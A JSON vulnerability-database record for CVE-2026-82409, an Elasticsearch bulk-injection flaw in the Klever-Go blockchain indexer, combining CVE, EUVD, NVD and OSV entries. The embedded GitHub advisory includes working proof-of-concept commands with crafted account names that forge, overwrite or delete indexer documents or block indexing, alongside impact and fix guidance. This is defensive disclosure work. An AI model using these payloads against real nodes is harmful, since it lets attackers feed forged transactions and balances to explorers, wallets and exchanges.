{"id":"EUVD-2026-85647","revision":null,"records":[{"revision":"55d4e736a4f9452ea1f7d4c3c11b1f98","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-82409","aliases":[],"title":"Klever-Go: Elasticsearch bulk / painless injection via on-chain account name ->  explorer/indexer data forgery","description":"Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, indexer/common.go serializedDataForUpdateAccounts places the attacker-controlled acc.Name value into an Elasticsearch _bulk JSON and NDJSON request without escaping it. The SetAccountName transaction accepts valid UTF-8 account names containing quotes, backslashes, and newlines, and the resulting name is stored in consensus account state. When an indexer processes the account, those characters can break the JSON string, reject a bulk batch, or inject additional bulk actions that create, overwrite, or delete documents in indices writable by the indexer. The persistent state value is replayed by new or historical indexers, and direct access to the indexing host or Elasticsearch port is not required. This issue is fixed in version 1.7.20.","state":0,"publishedAt":"2026-09-23T19:23:45.954+00:00","modifiedAt":"2026-09-24T15:22:11.55+00:00","affected":[{"ecosystem":"Vendor product","name":"klever-go","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"klever-io\",\n                    \"product\": \"klever-go\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.7.20\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:L","score":8.4,"severity":"HIGH"}],"references":["https://github.com/klever-io/klever-go/security/advisories/GHSA-7c7c-373r-gfjj","https://github.com/klever-io/klever-go/commit/f00366768b24be18fa7ae9de2e1905caa8b350af","https://github.com/klever-io/klever-go/commit/f54ea730cc80a3ba4f906586a7d221b281548190","https://github.com/klever-io/klever-go/releases/tag/v1.7.20"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-82409","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-82409","identifiers":["CVE-2026-82409"]},"retained":false,"historicalAffected":[]},{"revision":"5a77b67bf1fe4a7db09e102f3b9cdb59","observedAt":"2026-11-11T16:11:06.583+00:00","statement":{"source":"euvd","id":"EUVD-2026-85647","aliases":["CVE-2026-82409","GHSA-7c7c-373r-gfjj"],"title":"Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, indexer/common.go serializedDataForUpdateAccounts places the attacker-controlled acc.Name value into an Elasticsearch _bulk JSON and NDJSON request witho…","description":"Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, indexer/common.go serializedDataForUpdateAccounts places the attacker-controlled acc.Name value into an Elasticsearch _bulk JSON and NDJSON request without escaping it. The SetAccountName transaction accepts valid UTF-8 account names containing quotes, backslashes, and newlines, and the resulting name is stored in consensus account state. When an indexer processes the account, those characters can break the JSON string, reject a bulk batch, or inject additional bulk actions that create, overwrite, or delete documents in indices writable by the indexer. The persistent state value is replayed by new or historical indexers, and direct access to the indexing host or Elasticsearch port is not required. This issue is fixed in version 1.7.20.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:L","score":8.4,"severity":null}],"references":["https://github.com/klever-io/klever-go/security/advisories/GHSA-7c7c-373r-gfjj","https://github.com/klever-io/klever-go/commit/f00366768b24be18fa7ae9de2e1905caa8b350af","https://github.com/klever-io/klever-go/commit/f54ea730cc80a3ba4f906586a7d221b281548190","https://github.com/klever-io/klever-go/releases/tag/v1.7.20"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-85647","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 23, 2026, 7:23:45 PM","dateUpdated":"Sep 24, 2026, 3:22:11 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-85647","identifiers":["EUVD-2026-85647","CVE-2026-82409","GHSA-7c7c-373r-gfjj"]},"retained":false,"historicalAffected":[]},{"revision":"2433fa6cab8740fc8a0feb4d17b46bb1","observedAt":"2026-10-25T16:19:10.271+00:00","statement":{"source":"nvd","id":"CVE-2026-82409","aliases":[],"title":"Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, indexer/common.go serializedDataForUpdateAccounts places the attacker-controlled acc.Name value into an Elasticsearch _bulk JSON and NDJSON request witho…","description":"Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, indexer/common.go serializedDataForUpdateAccounts places the attacker-controlled acc.Name value into an Elasticsearch _bulk JSON and NDJSON request without escaping it. The SetAccountName transaction accepts valid UTF-8 account names containing quotes, backslashes, and newlines, and the resulting name is stored in consensus account state. When an indexer processes the account, those characters can break the JSON string, reject a bulk batch, or inject additional bulk actions that create, overwrite, or delete documents in indices writable by the indexer. The persistent state value is replayed by new or historical indexers, and direct access to the indexing host or Elasticsearch port is not required. This issue is fixed in version 1.7.20.","state":0,"publishedAt":"2026-09-23T20:17:16.893+00:00","modifiedAt":"2026-09-24T16:17:12.42+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.4,"severity":"HIGH"}],"references":["https://github.com/klever-io/klever-go/commit/f00366768b24be18fa7ae9de2e1905caa8b350af","https://github.com/klever-io/klever-go/commit/f54ea730cc80a3ba4f906586a7d221b281548190","https://github.com/klever-io/klever-go/releases/tag/v1.7.20","https://github.com/klever-io/klever-go/security/advisories/GHSA-7c7c-373r-gfjj"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-82409","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-116"],"productCriteria":[],"sourceDates":{"published":"2026-09-23T20:17:16.893","lastModified":"2026-09-24T16:17:12.420"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-82409","identifiers":["CVE-2026-82409"]},"retained":false,"historicalAffected":[]},{"revision":"d0541a66bf41438685e20e07ced24be9","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-7c7c-373r-gfjj","aliases":["CVE-2026-82409","GO-2026-6585"],"title":"Klever-Go: Elasticsearch bulk / painless injection via on-chain account name -> explorer/indexer data forgery","description":"**Component:** Elasticsearch indexer (`indexer/`)\n**Primary location:** `indexer/common.go:2395-2407` (`serializedDataForUpdateAccounts`)\n**Entry point:** `SetAccountName` native transaction (contract type 12) — `core/process/transaction/txProcess.go:688`\n\n---\n\n## Description\n\nWhen the node indexes account updates to Elasticsearch, it builds the ES `_bulk` painless-script line by splicing the account's **name** directly into JSON with `fmt.Sprintf(\"%s\", ...)` and **no escaping**:\n\n```go\n// indexer/common.go:2395-2407  (serializedDataForUpdateAccounts)\nserializedData := []byte(fmt.Sprintf(`{\"script\":{\"source\":\"`+\n    `ctx._source.name = params.name; ... `+\n    `\",\"lang\": \"painless\",\"params\":`+\n    `{\"name\": \"%s\", \"nonce\": %d, \"rootHash\": \"%s\", \"balance\": %d, ...}}}`,\n    acc.Name, acc.Nonce, acc.RootHash, acc.Balance, ...))   // acc.Name is RAW\n```\n\n`acc.Name` originates from on-chain account state: `indexer/accountInfo.go:31` sets `Name: string(userAccount.GetName())`. An account name is fully attacker-controlled and only weakly validated when it is set on-chain by the `SetAccountName` handler:\n\n```go\n// core/kapp/accounts/accounts.go:1740\nif !utf8.Valid(tc.GetName()) || len(tc.GetName()) > core.MaxNameSize { ... }  // MaxNameSize = 100\n```\n\nThe only constraints are **valid UTF-8** and **length ≤ 100 bytes**. Double-quote (`\"`), backslash (`\\`), and newline (`\\n`) are all valid UTF-8 and are **not** rejected. The safe helper `converters.JsonEscape()` exists and is used for `_id` fields elsewhere in the same file (`common.go:893`, `:932`, `:961`) but is **not** applied to the name.\n\nThe resulting buffer is POSTed verbatim to Elasticsearch `_bulk` by `elasticClient.DoBulkRequest` (`indexer/elasticClient.go:128`), with the index in the URL. The `_bulk` body is NDJSON — newline-delimited action/source pairs (`indexer/data/buffer.go:45` appends a `\\n` after every entry). Therefore a name containing a quote and newlines can \n\n- inject arbitrary keys/structure into the document, \n- break the batch, and \n- inject entirely new bulk operations targeting **other** documents and **other** indices.\n\n`SetAccountName` is a first-class transaction contract type (`= 12`) dispatched natively at `txProcess.go:688` via `SetAccountName(tx.GetSender(), tc)`. The attacker names **their own** account with the payload in one ordinary signed transaction (normal fee, no contract deploy, no VM gas). (It is additionally exposed as a VM built-in `KleverSetAccountName`, but that path is not needed.)\n\nThe name is written into consensus account state (`userAccount.SetName`, `data/state/userAccount.go:76`) and replicated to all nodes. The indexer reads it from **state**, not from the transaction, during each node's own block processing (`core/process/block/block.go:1141` `SaveBlock` / `SaveAccounts`). Consequently:\n\n- The attacker does not need any access to the node running the indexer, the ES port, or validator status. One broadcast to the network is enough.\n- Indexers typically run on **observer/gateway** nodes that power the public explorer/API — exactly the realistic victim.\n- The payload is **durable and replayable**: a newly stood-up indexer, or a historical re-index (import-DB mode, `cmd/node/startup.go:153`), re-reads the name from state and re-fires the injection.\n\n### Escalation — from denial-of-indexing to arbitrary ES document CRUD\n\nElasticsearch `_bulk` fails a malformed line differently by position: malformed **action** line → whole-batch HTTP 400 (nothing applies); malformed **source** line → **per-item** error (other items still apply). By appending a *sacrificial* action after the forged op, the serializer's fixed template tail (`\", \"nonce\":...}}}`) lands in a source position (item-level error), so a clean forged op that precedes it is **applied**. This yields arbitrary create / overwrite / delete of documents in **any** index the indexer's ES credentials can write — cross-index via `{\"index\":{\"_index\":\"...\", \"_id\":\"...\"}}`.\n\n### Deployment amplifier (default ES config)\n\nThe Elasticsearch config klever ships (`docker/elasticsearch/elasticsearch.yml`, `docker/docker-compose.yml`) sets `xpack.security.enabled: false`, `network.host: 0.0.0.0`, publishes `9200:9200`, and CORS `*` with `POST,PUT,DELETE`. The node's default `config/node/external.yaml` connects with empty `username`/`password`. So the indexer writes to ES unauthenticated, and if ES is network-reachable it is itself fully open. Crucially, even when an operator firewalls ES to localhost, **this injection is the remote bridge** that reaches that private ES through the node's own trusted connection.\n\n---\n\n## POC\n\nThe entire attack is a **single `SetAccountName` transaction** the attacker sends from any funded account, naming its **own** account with a crafted payload. \n\n```\noperator --node=http://<node>:8099 -k attacker.pem --sign account set-name \\\n  $'\"}}}\\n{\"index\":{\"_index\":\"transactions\",\"_id\":\"t\"}}\\n{\"status\":\"success\"}\\n{\"index\":{}}'\n```\n\nThis submits contract type 12 (`SetAccountNameContract`) with:\n\n```\nName = \"}}}⏎{\"index\":{\"_index\":\"transactions\",\"_id\":\"t\"}}⏎{\"status\":\"success\"}⏎{\"index\":{}}\n```\n(84 bytes ≤ MaxNameSize 100; `⏎` = literal `\\n`. On-chain `Name` is `[]byte`, i.e.\nbase64 `In19fQp7ImluZGV4Ijp7Il9pbmRleCI6InRyYW5zYWN0aW9ucyIsIl9pZCI6InQifX0KeyJzdGF0dXMiOiJzdWNjZXNzIn0KeyJpbmRleCI6e319`.)\n\n\n```\n{ \"update\": { \"_index\":\"accounts\", \"_id\":\"<attacker>\" } }\n{\"script\":{ ... ,\"params\":{\"name\": \"\"}}}\n{\"index\":{\"_index\":\"transactions\",\"_id\":\"t\"}}    ← forged bulk action\n{\"status\":\"success\"}                             ← forged doc → written to `transactions`\n{\"index\":{}}\", \"nonce\":1, ... }}}                ← sacrificial op absorbs the template tail\n```\n\n**Observed result:** a forged document `{\"status\":\"success\"}` with `_id:\"t\"` appears in the `transactions` index — the attacker never submitted any such transaction:\n\n```\nGET transactions/_doc/t\n\n{ \"found\": true, \"_source\": { \"status\": \"success\" } }\n```\n\n### Escalation variants — same delivery, only the `Name` changes\n\nEach is a single `SetAccountName` tx sent the same way; only the payload differs.\n\n**Denial-of-indexing** (2-byte name — breaks the batch, drops every co-batched account update):\n```\noperator --node=http://<node>:8099 -k attacker.pem --sign account set-name 'x\"'\n```\n\n**Cross-index write / forge a document** (e.g. a governance proposal doc; 82 bytes):\n```\noperator --node=http://<node>:8099 -k attacker.pem --sign account set-name \\\n  $'\"}}}\\n{\"index\":{\"_index\":\"proposals\",\"_id\":\"5\"}}\\n{\"status\":\"approved\"}\\n{\"index\":{}}'\n```\n\n**Delete a document** (e.g. proposal id 5; 61 bytes):\n```\noperator --node=http://<node>:8099 -k attacker.pem --sign account set-name \\\n  $'\"}}}\\n{\"delete\":{\"_index\":\"proposals\",\"_id\":\"5\"}}\\n{\"index\":{}}'\n```\n\n\n\n---\n\n## Impact\n\nA single, cheap, permissionless on-chain transaction (one tx fee; no contract, no special role, no access to the indexing host) lets an attacker inject into the Elasticsearch `_bulk` stream of **every node that indexes the chain** now or in the future. Two tiers of impact:\n\n1. **Denial-of-indexing** A name containing a single `\"` or newline makes ES reject the whole bulk batch (HTTP 400). Because the indexer batches many accounts per bulk (up to 4 MB), every co-batched honest account's balance/name/nonce update is silently **dropped** → the explorer/API serves **stale** data. Repeatable every block.\n\n2. **Arbitrary document CRUD across all indexer indices (escalation).** Using the sacrificial-op construction, the attacker can **create/overwrite/delete** documents in any klever index the indexer writes (`transactions`, `blocks`, `accounts`, `proposals`, `assets`, `marketplaces`, ...): forge \"successful\" transactions, rewrite balances, delete or rewrite blocks and governance proposals. Anyone trusting the ES-backed API , wallets, block explorers, or an exchange crediting deposits off indexer data  can be fed fabricated records, enabling fraud (e.g. a forged `status:success` transaction).\n\n**Amplifiers:** the payload is permanent replicated state, so it hits any current or future indexer and survives re-indexing; the attacker is fully decoupled from the victim indexer; and the shipped ES config is unauthenticated.\n\n\n---\n\n## Recommendation\n\n1. **Escape the name .** Never splice on-chain strings into JSON with `fmt.Sprintf`. Either apply the existing `converters.JsonEscape()` to `acc.Name` (mirror the `_id` handling), or preferably  build the entire bulk source with `json.Marshal` of a typed struct so no on-chain string can break the JSON/NDJSON structure. Audit every `fmt.Sprintf`-built bulk/script line in `indexer/common.go` for the same pattern (RootHash and other `%s` fields on this and nearby paths).\n\n2. **Restrict the on-chain account-name charset** at `SetAccountName` (`accounts.go:1740`)  reject control characters, quotes, and backslashes (or allow only a safe printable subset) as defense-in-depth. Gate any consensus-visible validation change behind an epoch fork flag.","state":0,"publishedAt":"2026-09-23T21:24:06+00:00","modifiedAt":"2026-10-01T20:56:09.7199622+00:00","affected":[{"ecosystem":"Go","name":"github.com/klever-io/klever-go","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.7.20"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/klever-io/klever-go/security/advisories/GHSA-7c7c-373r-gfjj","https://github.com/klever-io/klever-go/commit/f00366768b24be18fa7ae9de2e1905caa8b350af","https://github.com/klever-io/klever-go/commit/f54ea730cc80a3ba4f906586a7d221b281548190","https://github.com/klever-io/klever-go","https://github.com/klever-io/klever-go/releases/tag/v1.7.20"],"sourceUrl":"https://github.com/advisories/GHSA-7c7c-373r-gfjj","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-7c7c-373r-gfjj","identifiers":["GHSA-7c7c-373r-gfjj","CVE-2026-82409","GO-2026-6585"]},"retained":false,"historicalAffected":[]},{"revision":"bd729bbb63734fef87c480032f7adea3","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6585","aliases":["CVE-2026-82409","GHSA-7c7c-373r-gfjj"],"title":"Klever-Go: Elasticsearch bulk / painless injection via on-chain account name -> explorer/indexer data forgery in github.com/klever-io/klever-go","description":"Klever-Go: Elasticsearch bulk / painless injection via on-chain account name -> explorer/indexer data forgery in github.com/klever-io/klever-go","state":0,"publishedAt":"2026-10-01T20:23:38+00:00","modifiedAt":"2026-10-01T20:45:15.0808168+00:00","affected":[{"ecosystem":"Go","name":"github.com/klever-io/klever-go","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.7.20"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/klever-io/klever-go/security/advisories/GHSA-7c7c-373r-gfjj","https://github.com/klever-io/klever-go/commit/f00366768b24be18fa7ae9de2e1905caa8b350af","https://github.com/klever-io/klever-go/commit/f54ea730cc80a3ba4f906586a7d221b281548190","https://github.com/klever-io/klever-go/releases/tag/v1.7.20"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6585","license":"OSV · upstream source license applies","key":"osv:GO-2026-6585","identifiers":["GO-2026-6585","CVE-2026-82409","GHSA-7c7c-373r-gfjj"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-11T21:58:49.5594544+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-11T21:58:49.5594544+00:00","lastSuccessAt":"2026-11-11T21:58:49.7696899+00:00","error":null,"lastVerifiedAt":"2026-11-11T21:58:49.7696907+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-de3b77103708811b6494d2ff7c979037d73ae579742cd1649a5c765137ae5083-0cd050aa4e3407be88a99da87c4684cdd6e2bb2192e7b5d8516c5221fe2996c0","complete":true,"records":424321,"lastAttemptAt":"2026-11-11T21:56:53.6118096+00:00","lastSuccessAt":"2026-11-11T21:56:53.4062549+00:00","error":null,"lastVerifiedAt":"2026-11-11T21:56:53.6118096+00:00","snapshotPublishedAt":"2026-11-11T21:25:28+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-0211f24f7dd2479496f11922c7aad014","complete":false,"records":13760,"lastAttemptAt":"2026-11-11T22:09:10.3527395+00:00","lastSuccessAt":"2026-11-11T22:09:09.323+00:00","error":"346 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-11T22:09:09.323+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13257,"expectedIdentifiers":13813,"failedIdentifiers":346},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-11T21:58:49.5594544+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-11T21:58:49.5594544+00:00","lastSuccessAt":"2026-11-11T21:58:49.7704457+00:00","error":null,"lastVerifiedAt":"2026-11-11T21:58:49.7704461+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-e103bc43c8e54398a828cba9bdd81bf5","complete":true,"records":13754,"lastAttemptAt":"2026-11-11T21:59:28.9840194+00:00","lastSuccessAt":"2026-11-11T21:59:28.981+00:00","error":null,"lastVerifiedAt":"2026-11-11T21:59:28.981+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-11T21:58:49.3669281+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-11T21:58:49.3669281+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-11T21:56:53.7926299+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-11T21:56:53.7926299+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-11T21:58:49.4873797+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-11T21:58:49.4873797+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-685fe7fb2b690656c910a1ea42a9d294e8353311ac8ecfa691a9b0ff1b328804","complete":true,"records":231695,"lastAttemptAt":"2026-11-11T21:58:49.2338613+00:00","lastSuccessAt":"2026-11-11T21:58:47.7265713+00:00","error":null,"lastVerifiedAt":"2026-11-11T21:58:49.2338613+00:00","snapshotPublishedAt":"2026-11-11T21:48:35+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}